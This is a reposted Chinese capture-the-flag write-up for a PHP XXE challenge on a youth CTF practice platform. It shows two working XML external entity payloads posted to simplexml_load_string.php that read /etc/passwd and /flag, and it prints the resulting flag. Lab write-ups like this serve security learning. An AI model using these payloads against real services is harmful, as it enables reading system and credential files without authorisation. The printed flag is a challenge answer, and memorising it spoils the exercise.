自学内容网 自学内容网

青少年CTF练习平台 PHP的XXE

访问靶场是个phpinfo()页面

 题目提示是PHP的XXE,访问simplexml_load_string.php文件

get请求是空白,要使用post方法请求

尝试读取文件,读取/etc/passwd文件

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<test>
<name>
&xxe;
</name>
 
</test>

可以读取,直接读取/flag文件

<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE xxe [
<!ELEMENT test ANY >
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<name>
&xxe;
</name>
 
</test>

 

拿下

flag{35051fe183054e559276a77062bc0092} 

 


原文地址:https://blog.csdn.net/2301_77012231/article/details/145301696

免责声明:本站文章内容转载自网络资源,如侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!